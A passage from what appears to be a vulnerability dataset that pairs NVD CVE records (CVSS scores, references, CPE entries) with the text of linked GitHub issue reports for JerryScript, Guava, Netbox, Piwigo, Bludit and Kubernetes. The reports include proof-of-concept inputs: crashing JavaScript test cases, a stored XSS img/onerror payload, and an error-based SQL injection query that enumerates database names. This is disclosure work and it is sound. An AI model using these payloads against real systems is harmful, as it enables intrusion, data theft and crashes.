at ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:465
#15 ecma_builtin_array_prototype_dispatch_routine (builtin_routine_id=<optimized out>, this_arg=<optimized out>, arguments_list_p=<optimized out>, arguments_number=<optimized out>)
at ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:2839
#16 0x081b94a5 in ecma_builtin_dispatch_routine (func_obj_p=<optimized out>, this_arg_value=<optimized out>, arguments_list_p=0xffffce30, arguments_list_len=<optimized out>)
at ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1460
#17 ecma_builtin_dispatch_call (obj_p=<optimized out>, this_arg_value=<optimized out>, arguments_list_p=<optimized out>, arguments_list_len=<optimized out>)
at ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1489
#18 0x081fb6b8 in ecma_op_function_call_native_built_in (func_obj_p=0xf5500790, this_arg_value=4115662979, arguments_list_p=0xffffd054, arguments_list_len=2)
at ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1217
#19 0x081fa81d in ecma_op_function_call (func_obj_p=0xf5500790, this_arg_value=4115662979, arguments_list_p=0xffffd054, arguments_list_len=2)
at ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1411
#20 0x081fa5cf in ecma_op_function_validated_call (callee=4115662739, this_arg_value=4115662979, arguments_list_p=0xffffd054, arguments_list_len=2)
at ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1371
#21 0x082d7631 in opfunc_call (frame_ctx_p=<optimized out>) at ./jerryscript/jerry-core/vm/vm.c:758
#22 vm_execute (frame_ctx_p=0xffffd020) at ./jerryscript/jerry-core/vm/vm.c:5217
#23 0x082d4f62 in vm_run (shared_p=0xffffd110, this_binding_value=4119870595, lex_env_p=0xf57007b0) at ./jerryscript/jerry-core/vm/vm.c:5312
#24 0x082d4c39 in vm_run_global (bytecode_p=<optimized out>, function_object_p=<optimized out>) at ./jerryscript/jerry-core/vm/vm.c:286
#25 0x0812a4e5 in jerry_run (script=4115663075) at ./jerryscript/jerry-core/api/jerryscript.c:548
#26 0x083eac3f in jerryx_source_exec_script (path_p=0xffffd5df "poc.js") at ./jerryscript/jerry-ext/util/sources.c:68
#27 0x0812162d in main (argc=<optimized out>, argv=<optimized out>) at ./jerryscript/jerry-main/main-desktop.c:156
(gdb)
```
---
with release mode
###### Outputs
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1512811==ERROR: AddressSanitizer: SEGV on unknown address 0x0000023e (pc 0x5659bb0f bp 0xff8ef1d8 sp 0xff8ef190 T0)
==1512811==The signal is caused by a READ memory access.
==1512811==Hint: address points to the zero page.
#0 0x5659bb0e in ecma_gc_mark_properties ./jerryscript/jerry-core/ecma/base/ecma-gc.c:287
#1 0x5659e95d in ecma_gc_run ./jerryscript/jerry-core/ecma/base/ecma-gc.c:2158
#2 0x565f3d83 in jmem_heap_gc_and_alloc_block ./jerryscript/jerry-core/jmem/jmem-heap.c:285
#3 0x566365ad in ecma_alloc_property_pair ./jerryscript/jerry-core/ecma/base/ecma-alloc.c:253
#4 0x565ac30d in ecma_create_property ./jerryscript/jerry-core/ecma/base/ecma-helpers.c:457
#5 0x565d424d in ecma_create_iter_result_object ./jerryscript/jerry-core/ecma/operations/ecma-iterator-object.c:98
#6 0x56636d82 in ecma_builtin_array_iterator_prototype_object_next ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-iterator-prototype.c:172
#7 0x56636d82 in ecma_builtin_array_iterator_prototype_dispatch_routine ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-iterator-prototype.c:211
#8 0x565bba28 in ecma_builtin_dispatch_routine ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1460
#9 0x565bba28 in ecma_builtin_dispatch_call ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1489
#10 0x565d0db7 in ecma_op_function_call_native_built_in ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1217
#11 0x565d2c84 in ecma_op_function_call ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1411
#12 0x565d449d in ecma_op_iterator_next ./jerryscript/jerry-core/ecma/operations/ecma-iterator-object.c:317
#13 0x565d46d3 in ecma_op_iterator_step ./jerryscript/jerry-core/ecma/operations/ecma-iterator-object.c:559
#14 0x565ca92e in ecma_op_container_create ./jerryscript/jerry-core/ecma/operations/ecma-container-object.c:435
#15 0x56657dbd in ecma_builtin_weakset_dispatch_construct ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-weakset.c:62
#16 0x565d3086 in ecma_op_function_construct_built_in ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1537
#17 0x565d3086 in ecma_op_function_construct ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1717
#18 0x56634c33 in opfunc_construct ./jerryscript/jerry-core/vm/vm.c:840
#19 0x56634c33 in vm_execute ./jerryscript/jerry-core/vm/vm.c:5236
#20 0x56635152 in vm_run ./jerryscript/jerry-core/vm/vm.c:5312
#21 0x5663538f in vm_run_global ./jerryscript/jerry-core/vm/vm.c:286
#22 0x5659382e in jerry_run ./jerryscript/jerry-core/api/jerryscript.c:548
#23 0x5668871b in jerryx_source_exec_script ./jerryscript/jerry-ext/util/sources.c:68
#24 0x5658bd04 in main ./jerryscript/jerry-main/main-desktop.c:156
#25 0xf76ceed4 in __libc_start_main (/lib32/libc.so.6+0x1aed4)
#26 0x5658efb4 in _start (/./jerryscript/build/bin/jerry+0x12fb4)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ./jerryscript/jerry-core/ecma/base/ecma-gc.c:287 in ecma_gc_mark_properties
==1512811==ABORTING
```
Credits: @Ye0nny, @EJueon of the seclab-yonsei.
| Assertion 'ECMA_PROPERTY_IS_PROPERTY_PAIR (prop_iter_p)' failed at ./jerryscript/jerry-core/ecma/base/ecma-property-hashmap.c(ecma_property_hashmap_create) | https://api.github.com/repos/jerryscript-project/jerryscript/issues/5084/comments | 0 | 2023-06-05T11:59:55Z | 2023-06-05T11:59:55Z | https://github.com/jerryscript-project/jerryscript/issues/5084 | 1,741,623,530 | 5,084 | 5,265 |
CVE-2023-34868 | 2023-06-14T16:15:20.323 | Jerryscript 3.0 (commit 05dbbd1) was discovered to contain an Assertion Failure via the parser_parse_for_statement_start at jerry-core/parser/js/js-parser-statm.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/5083"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/5083"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jerryscript:jerryscript:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B1A23519-19ED-4F75-9CAA-42057F88EDE5",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"617"
] | 617 | https://github.com/jerryscript-project/jerryscript/issues/5083 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: https://github.com/jerryscript-project/jerryscript/commit/05dbbd134c3b9e2482998f267857dd3722001cd7
Version: v3.0.0
###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)
###### Build steps
```sh
python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20
```
###### Test case
<details><summary>testcase</summary>
<p>
```javascript
var r = { } ;
var t = [ r , r , r , r , r , r , r , r , r , r , r , r , r , r , r ] ;
var a = [ ] ;
const e = 8 ;
for ( var n = 0 ; n < 8 ; ++ n ) {
for ( var o = 0 ; o < t . length ; ++ o ) {
a . push ( String . prototype . indexOf . call ( t [ n ] , " object " ) ) ;
}
}
a [ 8 ] = a = [ ] ;
8 * t , f . length ;
var c = class extends c { static { } ; } ;
for ( var n = 0 ; n < a . length ; ++ n ) {
var f = { } , t = f ;
r = 0 ;
r += a [ n ] ;
1 ;
}
```
</p>
</details>
```javascript
// poc.js
var c = class extends c { static { } ; } ;
for ( var n = 0 ; n < a . length ; ++ n ) {
r += a [ n ] ;
}
```
###### Execution steps & Output
```
$ ./jerryscript/build/bin/jerry poc.js
ICE: Assertion 'context_p->token.type != LEXER_RIGHT_PAREN' failed at ./jerryscript/jerry-core/parser/js/js-parser-statm.c(parser_parse_for_statement_start):1502.
Error: JERRY_FATAL_FAILED_ASSERTION
Aborted
```
###### Backtrace
```
(gdb) bt
#0 0xf7fcfd99 in __kernel_vsyscall ()
#1 0xf7ca4276 in raise () from /lib32/libc.so.6
#2 0xf7c8c3f7 in abort () from /lib32/libc.so.6
#3 0x083ecca3 in jerry_port_fatal (code=JERRY_FATAL_FAILED_ASSERTION)
at ./jerryscript/jerry-port/common/jerry-port-process.c:29
#4 0x08260d02 in jerry_fatal (code=JERRY_FATAL_FAILED_ASSERTION)
at ./jerryscript/jerry-core/jrt/jrt-fatals.c:63
#5 0x08260d64 in jerry_assert_fail (assertion=0x8479a60 <str> "context_p->token.type != LEXER_RIGHT_PAREN",
file=0x84789e0 <str> "./jerryscript/jerry-core/parser/js/js-parser-statm.c",
function=0x8479b20 <__func__.parser_parse_for_statement_start> "parser_parse_for_statement_start", line=1502)
at ./jerryscript/jerry-core/jrt/jrt-fatals.c:83
#6 0x083d5567 in parser_parse_for_statement_start (context_p=<optimized out>)
at ./jerryscript/jerry-core/parser/js/js-parser-statm.c:1502
#7 parser_parse_statements (context_p=<optimized out>)
at ./jerryscript/jerry-core/parser/js/js-parser-statm.c:2851
#8 0x08284a26 in parser_parse_source (source_p=0xffffd030, parse_opts=<optimized out>, options_p=0xffffd100)
at ./jerryscript/jerry-core/parser/js/js-parser.c:2280
#9 0x08282c70 in parser_parse_script (source_p=0xffffd030, parse_opts=0, options_p=0xffffd100)
at ./jerryscript/jerry-core/parser/js/js-parser.c:3326
#10 0x08129a7d in jerry_parse_common (source_p=0xffffd030, options_p=<optimized out>, parse_opts=0)
at ./jerryscript/jerry-core/api/jerryscript.c:412
#11 0x08129698 in jerry_parse (source_p=<optimized out>, source_size=<optimized out>, options_p=<optimized out>)
at ./jerryscript/jerry-core/api/jerryscript.c:480
#12 0x083ea952 in jerryx_source_parse_script (path_p=<optimized out>)
at ./jerryscript/jerry-ext/util/sources.c:52
#13 0x083eac12 in jerryx_source_exec_script (path_p=0xffffd5da "poc.js")
at ./jerryscript/jerry-ext/util/sources.c:63
#14 0x0812162d in main (argc=<optimized out>, argv=<optimized out>)
at ./jerryscript/jerry-main/main-desktop.c:156
(gdb)
```
Credits: @Ye0nny, @EJueon of the seclab-yonsei.
| Assertion 'context_p->token.type != LEXER_RIGHT_PAREN' failed at ./jerryscript/jerry-core/parser/js/js-parser-statm.c(parser_parse_for_statement_start) | https://api.github.com/repos/jerryscript-project/jerryscript/issues/5083/comments | 0 | 2023-05-31T12:11:34Z | 2023-05-31T12:11:34Z | https://github.com/jerryscript-project/jerryscript/issues/5083 | 1,734,082,739 | 5,083 | 5,266 |
CVE-2023-2976 | 2023-06-14T18:15:09.513 | Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class.
Even though the security vulnerability is fixed in version 32.0.0, we recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "cve-coordination@google.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.2,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve-coordination@google.com",
"tags": [
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/google/guava/issues/2575"
},
{
"source": "cve-coordination@google.com",
"tags": null,
"url": "https://security.netapp.com/advisory/ntap-20230818-0008/"
},
{
"source": "cve-coordination@google.com",
"tags": null,
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01006.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/google/guava/issues/2575"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://security.netapp.com/advisory/ntap-20230818-0008/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01006.html"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:google:guava:*:*:*:*:*:*:*:*",
"matchCriteriaId": "F0FA9B26-6D87-4FE1-B719-EC4770B5418D",
"versionEndExcluding": "32.0.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"552"
] | 552 | https://github.com/google/guava/issues/2575 | [
"Issue Tracking",
"Patch",
"Vendor Advisory"
] | github.com | [
"google",
"guava"
] | We are using google commons APIs in our project and security scan on our code has reported following problem. Could you please let me know if this is of any concern or it can be fixed in new version of this API.
**Problem:** Creating and using insecure temporary files can leave application and system data vulnerable to attack. In particular,file names created by the tmpnam family of functions can be easily guessed by an attacker. If an attacker can predictthe filename and create a malicious collision, he may be able to manipulate the behavior of the application.
**Recommendations (Generated by tool)**
Ensure that unpredictable names are used for temporary files and that files are created in a secure directory with appropriate permissions. Using mkstemp() is a reasonably safe way to create temporary files. It will attempt to create and open a unique file based on a filename template provided by the user, combined with a series of randomly generated characters. Note that mkstemp() is safe if only the descriptor is used and the returned filename is not used in a subsequent function call with extra privileges. Using mkstemp() does not completely eliminate race conditions but does provide better protection than other methods
Class:
com.google.common.io.FileBackedOutputStream
| Security scan reported problem with com.google.common.io.FileBackedOutputStream | https://api.github.com/repos/google/guava/issues/2575/comments | 17 | 2016-09-26T22:46:07Z | 2023-07-06T11:00:51Z | https://github.com/google/guava/issues/2575 | 179,355,986 | 2,575 | 5,267 |
CVE-2023-34565 | 2023-06-14T21:15:09.867 | Netbox 3.5.1 is vulnerable to Cross Site Scripting (XSS) in the "Create Wireless LAN Groups" function. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/grayfullbuster0804/netbox/issues/1"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/grayfullbuster0804/netbox/issues/1"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:netbox:netbox:3.5.1:*:*:*:*:*:*:*",
"matchCriteriaId": "D28A2958-C184-45BD-BF89-DFBB81B7EF8A",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"79"
] | 79 | https://github.com/grayfullbuster0804/netbox/issues/1 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"grayfullbuster0804",
"netbox"
] | ### **Description**
An authenticated malicious user can take advantage of a Stored XSS vulnerability in "Wireless LAN" function in the "GROUP" feature.
**Proof of Concept**
Step 1: Go to /wireless/wireless-lan-groups/, click "Add" and insert payload "<img src=x onerror=alert('XSS');>" in "Name" field.

Step 2: Go to dev/wireless/wireless-lans/, Select one element and click "Edit Selected", after select "Group"

**Step 3: Script excuted

Impact
If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. | Stored Cross Site Scripting Vulnerability in "Create Wireless LAN Groups" function in Netbox 3.5.1 | https://api.github.com/repos/grayfullbuster0804/netbox/issues/1/comments | 0 | 2023-05-23T09:47:27Z | 2023-05-23T09:52:51Z | https://github.com/grayfullbuster0804/netbox/issues/1 | 1,721,665,235 | 1 | 5,268 |
CVE-2023-34626 | 2023-06-15T16:15:09.347 | Piwigo 13.7.0 is vulnerable to SQL Injection via the "Users" function. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 1.4,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/Piwigo/Piwigo/issues/1924"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/Piwigo/Piwigo/issues/1924"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:piwigo:piwigo:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4B9AEE3-C9C5-4D20-BA38-9E5A2A64FABD",
"versionEndExcluding": null,
"versionEndIncluding": "13.7.0",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"89"
] | 89 | https://github.com/Piwigo/Piwigo/issues/1924 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"Piwigo",
"Piwigo"
] | Access the 'Users' function and use the filter function

Observe the request on Burp Suite

Manipulate the 'order' or 'exclude[]' parameter by adding a single quote, and an error in MYSQL shows up, proving the existence of SQL injection

We can try to retrieve all the databases name with the error-based payload `id AND (SELECT 2690 FROM(SELECT COUNT(*),CONCAT(0x716b707671,(SELECT MID((IFNULL(CAST(schema_name AS NCHAR),0x20)),1,51) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),0x7162787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)` , just increasing the LIMIT value to enumerate all the databases name

Analyze the vulnerability from the source code, locate the ws_users_getList() function (/piwigo/include/ws_functions/pwg.users.php), notice that 'order' was concat directly after the 'ORDER BY' clause without any kind of input sanitization. The same case happens for
the 'exclude[]' parameter

This vulnerability affects the latest version up to 13.7.0, and it is uncertain if other versions will be affected. | SQL Injection in the "Users" function of piwigo | https://api.github.com/repos/Piwigo/Piwigo/issues/1924/comments | 0 | 2023-05-25T07:54:09Z | 2023-05-29T10:27:38Z | https://github.com/Piwigo/Piwigo/issues/1924 | 1,725,285,095 | 1,924 | 5,269 |
CVE-2023-34845 | 2023-06-16T04:15:14.143 | Bludit v3.14.1 was discovered to contain an arbitrary file upload vulnerability in the component /admin/new-content. This vulnerability allows attackers to execute arbitrary web scripts or HTML via uploading a crafted SVG file. NOTE: the product's security model is that users are trusted by the administrator to insert arbitrary content (users cannot create their own accounts through self-registration). | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://github.com/bludit/bludit/issues/1212#issuecomment-649514491"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://github.com/bludit/bludit/issues/1369#issuecomment-940806199"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/bludit/bludit/issues/1508"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://github.com/bludit/bludit/issues/1212#issuecomment-649514491"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://github.com/bludit/bludit/issues/1369#issuecomment-940806199"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/bludit/bludit/issues/1508"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:bludit:bludit:3.14.1:*:*:*:*:*:*:*",
"matchCriteriaId": "E1884F54-CD39-43CC-B52B-8B2335A09CDB",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"434"
] | 434 | https://github.com/bludit/bludit/issues/1508 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"bludit",
"bludit"
] | ### Describe your problem
I found a cross-site scripting attack on the new content creating page http://localhost:800/admin/new-content
it will execute the script in user context allowing the attacker to access any cookies or sessions tokens retained
by the browser.
Stored XSS, also known as persistent XSS, is the more damaging than non-persistent XSS. It occurs when a malicious script is injected directly into a vulnerable web application.
### Steps to reproduce the problem
- login into the account
- click on the new content like in that image

- click on the images button

- select the payload svg file which is injected with xss payload or ssrf payload


- insert and save the page
- copy the image link and open in the new tab

| version 3.14.1 is vulnerable to stored xss or ssrf via file upload. | https://api.github.com/repos/bludit/bludit/issues/1508/comments | 1 | 2023-04-14T06:49:20Z | 2024-03-03T08:29:18Z | https://github.com/bludit/bludit/issues/1508 | 1,667,617,923 | 1,508 | 5,270 |
CVE-2023-2431 | 2023-06-16T08:15:08.770 | A security issue was discovered in Kubelet that allows pods to bypass the seccomp profile enforcement. Pods that use localhost type for seccomp profile but specify an empty profile field, are affected by this issue. In this scenario, this vulnerability allows the pod to run in unconfined (seccomp disabled) mode. This bug affects Kubelet. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 3.4,
"baseSeverity": "LOW",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 0.8,
"impactScore": 2.5,
"source": "jordan@liggitt.net",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "jordan@liggitt.net",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/kubernetes/kubernetes/issues/118690"
},
{
"source": "jordan@liggitt.net",
"tags": [
"Mailing List"
],
"url": "https://groups.google.com/g/kubernetes-security-announce/c/QHmx0HOQa10"
},
{
"source": "jordan@liggitt.net",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/43HDSKBKPSW53OW647B5ETHRWFFNHSRQ/"
},
{
"source": "jordan@liggitt.net",
"tags": [
"Mailing List"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XBX4RL4UOC7JHWWYB2AJCKSUM7EG5Y5G/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/kubernetes/kubernetes/issues/118690"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List"
],
"url": "https://groups.google.com/g/kubernetes-security-announce/c/QHmx0HOQa10"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/43HDSKBKPSW53OW647B5ETHRWFFNHSRQ/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XBX4RL4UOC7JHWWYB2AJCKSUM7EG5Y5G/"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/kubernetes/kubernetes/issues/118690"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:kubernetes:kubernetes:*:*:*:*:*:*:*:*",
"matchCriteriaId": "59A9CBF2-B94B-4311-AE41-6CEA2DA7E24B",
"versionEndExcluding": "1.24.14",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:kubernetes:kubernetes:*:*:*:*:*:*:*:*",
"matchCriteriaId": "E2D70178-BDE0-430B-8446-0A93FB2323FB",
"versionEndExcluding": "1.25.10",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": "1.25.0",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:kubernetes:kubernetes:*:*:*:*:*:*:*:*",
"matchCriteriaId": "D02A28B2-70E6-4B48-9D58-39525AD66C20",
"versionEndExcluding": "1.26.5",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": "1.26.0",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:kubernetes:kubernetes:*:*:*:*:*:*:*:*",
"matchCriteriaId": "1C04A62B-D3F5-4E63-819A-0A8868F34643",
"versionEndExcluding": "1.27.2",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": "1.27.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
